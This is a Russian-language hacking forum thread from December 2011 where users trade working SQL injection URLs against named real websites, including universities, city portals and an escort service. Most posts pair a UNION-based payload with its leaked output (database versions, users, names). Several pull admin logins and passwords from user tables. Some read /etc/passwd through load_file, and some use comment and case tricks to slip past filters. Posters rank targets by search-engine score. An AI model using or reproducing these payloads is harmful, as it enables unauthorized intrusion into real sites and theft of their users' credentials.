SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Profit = )

    http://www.eclipse.org/membership/showMember.php?member_id=930+and+substring%28@@version,1,1%29+LIKE+5


    Version: 5
    User: [email protected]
     
    #14481 Cennarios, 20 Dec 2011
    Last edited: 20 Dec 2011
    2 people like this.
  2. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    Code:
    http://online.famoustravel.gr/res.php?id=-2748+union+select+1,2,3,unhex%28hex%28group_concat%28table_name%29%29%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,51,53,54,55,56,57+from+information_schema.tables%20--+
    5.04.77
     
    3 people like this.
  3. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    725
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.acor.org/news/display.html?id=-10147+UNION+SELECT+concat_ws(0x3a,user(),version(),database()),2,3,4--
    [email protected]:5.1.51-community:news

    GooglePR: 6
     
    2 people like this.
  4. exploit3602

    exploit3602 New Member

    Joined:
    12 Sep 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://www.goodfishing.ru/show_cat2.php?grid=-3+union+select+concat_ws(0x3a,version(),user(),database())--
    
    5.0.90-log:[email protected]:u23641_10

    Code:
    http://netcomtraining.co.uk/content.php?id=-52+union+select+1,concat_ws(0x3a,version(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15--
    5.0.92-community:[email protected]
     
    #14484 exploit3602, 22 Dec 2011
    Last edited by a moderator: 22 Dec 2011
  5. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Code:
    GET http://banki.probit.ru/error.php HTTP/1.1
    Host: banki.probit.ru
    User-Agent: 'div(select(x)from(select(count(*)),concat((select version()),0x00,floor(rand(0)*2))x from information_schema.tables group by x)a)!=!!!'
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Connection: keep-alive
    Referer: http://banki.probit.ru/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 20
    Ошибка: Duplicate entry '5.0.51a-24+lenny3' for key 1
     
    _________________________
    5 people like this.
  6. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    HTML:
    http://www.dartmouth.edu/~dccc/profile.php?id=1'+and+1=01+union+select+version(),2,user(),database(),5,6,7,8,9,10,11,12,13,14,15,16--+f
    Version: 5.0.77-log
    User: [email protected]
    Database: dccc_db


    --------------------------------------------------------
    Code:
    http://www.elps.hs.iastate.edu/faculty.php?id=-1+union+select+1,version(),user(),4,5,database(),7,8,9,10,concat(user_login,0x3a,user_pass),12+[COLOR=Magenta]from+wp_users[/COLOR]+limit+0,1
    Version: 5.0.77-log
    User: [email protected]
    Database: elps

    Смотрим запрос, no comments ;)
     
    #14486 Ereee, 23 Dec 2011
    Last edited by a moderator: 23 Dec 2011
  7. exploit3602

    exploit3602 New Member

    Joined:
    12 Sep 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://www.eclbl.com/special.php?id=-7+union+select+1,2,3,4,concat_ws(0x3a,database(),user(),version())--
    eclblcom_special:eclblcom@localhost:5.1.60-community-log

    Code:
    [B][SIZE=4][COLOR=Red]БОЯН[/COLOR][/SIZE][/B]
    Code:
    http://www.kyivflorist.com/a-price/group.php?groupid=-2+union+select+1,concat_ws(0x20,user(),database(),version()),3,4,5,6--
    kyivflor_kyivflo@localhost kyivflor_kyivflorist 5.0.92-community
     
    #14487 exploit3602, 23 Dec 2011
    Last edited by a moderator: 23 Dec 2011
  8. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Code:
    http://avenirshoes.ru/index.php?s=-1+and+1=1+union+select+version()--+f
    Code:
    http://www.topup.com.my/product.html?category_id=-1+union+/*!select*/+1,2,3,4,5,unhex(hex(tAbLE_NaME)),7,8+from+information_schema./**/tables+limit+0,1--+f
     
    #14488 Ereee, 23 Dec 2011
    Last edited: 23 Dec 2011
  9. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тИЦ 325
    Code:
    http://www.offpoly.ru/news/index.php?id=-1%27/*--*/UnIoN/*--*/SeLeCt/*--*/1,2,3,4,5,file_priv,7,8,9/*--*/FrOm/*--*/mysql.user--+
    Y
    Code:
    http://www.offpoly.ru/news/index.php?id=-1%27/*--*/UnIoN/*--*/SeLeCt/*--*/1,2,3,4,5,group_concat%280x3a,login,email%29,7,8,9/*--*/FrOm/*--*/users--+
     
  10. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://finaid.fiu.edu/index.php?id=1319&tx_dmmjobcontrol_pi1%5Bjob_uid%5D=-113+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,concat_ws(0x3a,version(),user(),database()),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*
     
    1 person likes this.
  11. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    тиц 1300

    :rolleyes: :eek:
    Code:
    http://www.xakep.ru/vulnerability/Mybb%27And/**/1=2/**/UnIoN/**/SeleCt/**/1,2,3,4,5,6,@@version,8,9,10,11,12--/
     
    12 people like this.
  12. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    725
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.baacouncil.org/index.php?m=-32+union+select+1,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,3--
    [email protected]:5.1.37-log:d10404sd8108

    GooglePR: 7
     
    1 person likes this.
  13. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Эскорт-сервис
    Code:
    http://www.avaescorts.com/escorts-by-type?id=123'+/*!union*/+select+1,/*!concat*/(username,0x3a,password),3,4,5,6+from+ava_is2008.admin+limit+1,1--+f
     
  14. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    Сеть городских порталов вРоссии.

    вОрле тиц/пр 500/5
    HTML:
    http://www.vor[в*опе]le.ru/q/?id_dl=1+union+select+1,2,concat(mail,0x3a,pass),4,5,6,7,8,9,10+from+user
    вТуле тиц/пр 400/6
    HTML:
    http://vtul[в*опе]e.ru/q/?id_dl=1+union+select+1,2,concat(mail,0x3a,pass),4,5,6,7,8+from+user
    вЛипецке тиц/пр 400/5
    HTML:
    http://goro[в*опе]dlip.ru/q/?id_dl=1+union+select+1,2,concat(mail,0x3a,pass),4,5,6,7,8+from+user
    вКурске тиц/пр 275/5
    HTML:
    http://vkur[в*опе]ske.com/q/?id_dl=-1+union+all+select+1,2,3,4,5,6,7,load_file(0x2F6574632F706173737764)--
    вБелгороде тиц/пр 130/5
    HTML:
    http://vbelgo[в*опе]rode.com/q/?id_dl=-1+union+all+select+1,2,3,4,5,6,7,load_file(0x2F6574632F706173737764)--
    вБрянске тиц/пр 230/5
    HTML:
    http://vbrya[в*опе]nske.com/q/?id_dl=-1+union+all+select+1,2,3,4,5,6,7,load_file(0x2F6574632F706173737764)--
    вКалуге тиц/пр 30/5
    HTML:
    http://www.vkalu[в*опе]ge.ru/q/?id_dl=-1+union+all+select+1,2,3,4,5,6,7,load_file(0x2F6574632F706173737764)--
    вВоронеже тиц/пр 300/5
    HTML:
    http://vvoron[в*опе]ezhe.ru/q/?id_dl=-1+union+all+select+1,2,3,4,5,6,7,count(pass)+from+user--
    вРязани тиц/пр 40/5
    HTML:
    http://www.vrya[в*опе]zani.ru/q/?id_dl=-1+union+all+select+1,2,3,4,5,6,7,count(pass)+from+user--
    вСмоленске тиц/пр 40/5
    HTML:
    http://www.vsmol[в*опе]enske.ru/q/?id_dl=-1+union+all+select+1,2,3,4,5,6,7,load_file(0x2F6574632F706173737764)--
    вТвери тиц/пр 50/5
    HTML:
    http://www.vtv[в*опе]eri.ru/q/?id_dl=-1+union+all+select+1,2,3,4,5,6,7,load_file(0x2F6574632F706173737764)--
    вЯрославле тиц/пр 30/5
    HTML:
    http://www.vyarosl[в*опе]avle.ru/q/?id_dl=-1+union+all+select+1,2,3,4,5,6,7,count(pass)+from+user--
     
    7 people like this.
  15. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://tm.ua/show_news.php?who=0%20union%20select%201,2,3,version(),5,6

    тиц 90
     
  16. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.sigma-soft.ru/news_vad.shtml?sec=news_vad&id=-1324892363%20union%20select%201,concat_ws(0x3a,@@version,user(),database()),3+--

    4.1.22 bsd@localhost ru_sigma-soft_www
     
  17. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    140
    Likes Received:
    19
    Reputations:
    9
    http://www.admgor.nnov.ru/script/show_news.php?doc_id=12345 and 1=2
    тИц - 1К
     
  18. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    5.0.67-log1
     
  19. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://rstomat.ru/qwe.php?id=-16+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--+
    

    Code:
    http://rosprofbuh.ru/qwe.php?id=-16+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--+
     
    1 person likes this.
  20. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    725
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.centerforsustainability.org/resources.php?category=-10+UNION+SELECT+1,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11,12--&root=10
    sustainability@localhost:5.0.89-log:sustainability

    GooglePR: 5


    Code:
    http://www.onlyfunimages.com/view.php?id=-70+UNION+SELECT+1,2,3,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+admin--
    onlyfun_OFI@localhost:5.0.92-community:eek:nlyfun_OFI

    GooglePR: 6
     
    #14500 av1, 27 Dec 2011
    Last edited: 27 Dec 2011
Thread Status:
Not open for further replies.